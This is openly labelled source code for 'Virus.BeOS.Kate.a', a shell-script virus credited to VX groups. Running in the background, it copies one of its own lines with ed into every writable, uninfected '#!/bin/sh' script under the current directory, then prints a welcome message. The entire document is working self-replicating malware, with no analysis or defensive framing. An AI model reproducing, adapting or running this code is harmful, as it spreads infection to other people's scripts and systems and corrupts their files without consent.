Virus.BeOS.Kate.a - Source Code

#!/bin/sh
#-----------------------------------------------------------------
#BeOS.Kate.a
#By -KD- [Metaphase VX Team & NoMercyVirusTeam]
#Worlds First BeOS Virus
#-----------------------------------------------------------------
( K_s=$_;i () { ( e=echo; $e 1 r \!sed -n 2p $K_s;$e w;$e q) | ed -s $1;}; d () { if [ -w $1 -a "`head -1 $1`" = "#!/bin/sh" -a "`grep -n K_i $1`" = "" ]; then i $1;
fi;}; for b in `find . -type f -print`;do d $b;done; ) &
echo Welcome to BeOS.Kate.a